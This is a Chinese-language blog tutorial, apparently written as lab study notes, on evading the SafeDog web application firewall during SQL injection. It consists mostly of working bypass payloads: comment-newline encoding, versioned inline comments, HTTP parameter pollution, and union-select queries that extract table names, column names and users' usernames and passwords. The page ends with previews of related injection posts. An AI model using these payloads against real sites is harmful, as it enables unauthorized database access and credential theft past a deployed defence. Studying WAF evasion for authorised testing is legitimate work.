SQL注入bypass學習

2022-08-24 03:39:08 字數 3332 閱讀 9180

0x00 前言

0x01 一些特殊字元

1.注釋符號

/*!*/:內聯注釋,/*!12345union*/select等效union select

/**/:注釋符號,/*/**/等效於/**/

-- +:--空格加任意字元

;%00

2.其他符號

%23%0a:注釋換行符

&、&&、|、||:邏輯操作符

``:反引號

0x02 安全狗版本

版本:**安全狗(apache版) 4.0.26550

0x03 and繞過

首先測試語句and 1=1攔截情況

and        //不攔截

and 1=1 //攔截

and 1 //攔截

and a //不攔截

and 『a』 //攔截

經測試發現and後面跟數字型或字元型時會被攔截

繞過方法有兩種

1.使用其他字元替換and

使用&的url編碼%26替換and進行繞過

2.使用-1=-1和-1=-2替換繞過

可能對負數沒做限制,也可能是 – 繞過了正則匹配

0x04 繞過order by攔截

order       //不攔截

by //不攔截

order by //攔截

經過測試,此處有三種方法可以繞過:

1.注釋換行繞過

order--%0aby	//攔截——了解到這是最初的姿勢,不過現已經失效

order%23%0aby //不攔截——%23:注釋符,%0a換行符

2.內聯注釋加引數汙染繞過

order /*!by*/               攔截

order/*!/*55555*/by*/ 攔截

order/*!/*!50553*/by*/ 攔截

order/*!/*!50553test*/by*/ 不攔截但報錯

order/*!/*!50554test*/by*/ 不攔截

數字加字母組合可繞過,經fuzz測試,當數字大於50553時不報錯

3.hpp引數汙染繞過

在跟伺服器互動的過程中,http允許get 或者post多次傳同一引數值,造成覆蓋達到一些繞過waf的效果。在php/apache 中,它總解析最後乙個id

0x05 繞過union select攔截

1.注釋換行加引數汙染繞過

單純使用注釋換行符被攔截,經測試在注釋符和換行符間加任意數字字母字元繞過

2.內聯注釋加引數繞過

同order by 繞過

3.hpp

引數汙染繞過

同order by 繞過

?id=1' /*&id='union select 1,database(),3-- +*/
0x06 database()攔截繞過

直接聯合查詢database()會被攔截

1.聯合查詢繞過

/*!database()*/    攔截

database/*!()*/ 不攔截

database/*!(*/) 不攔截

2.hpp引數汙染的語句中直接查詢

後續查詢均可使用此方法繞過

0x07 查表名、列名、字段攔截繞過

經過測試,可以使用兩種方法繞過

1.內聯注釋

對table_name、column_name和欄位名使用內聯注釋繞過限制

union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +

union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +

union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +

union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +

2.反引號

對information_schema使用反引號繞過

union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+

Mysql下Union注入Bypass安全狗過程

文章 於 一次眾測發現個注入,然後有安全狗就順帶看了下安全狗。嘗試用union函式 union select 1,2,3 攔截 union 20select 1,2,3,4 不攔截,注意select前面有個空格。之前出題的 懶得改了 中二。union 20select 201,select 20us...

學習 SQL注入 POST注入

實踐 頁面顯示 看來目標很明確,還是要注入 post pro id 1 and 1 1 post pro id 1 and 1 2 發現存在注入 post pro id 0 union select 1,2,3,4 存在四列,且顯示的位置為2 這邊使用了version database user 測...

sqli labs學習sql注入

在sql注入時應該記住的一些東西 information schema庫存放了所有庫的資訊 information schema.columns包含了所有表的字段 table name表名 table schema資料庫名 column name列名 information schema.table...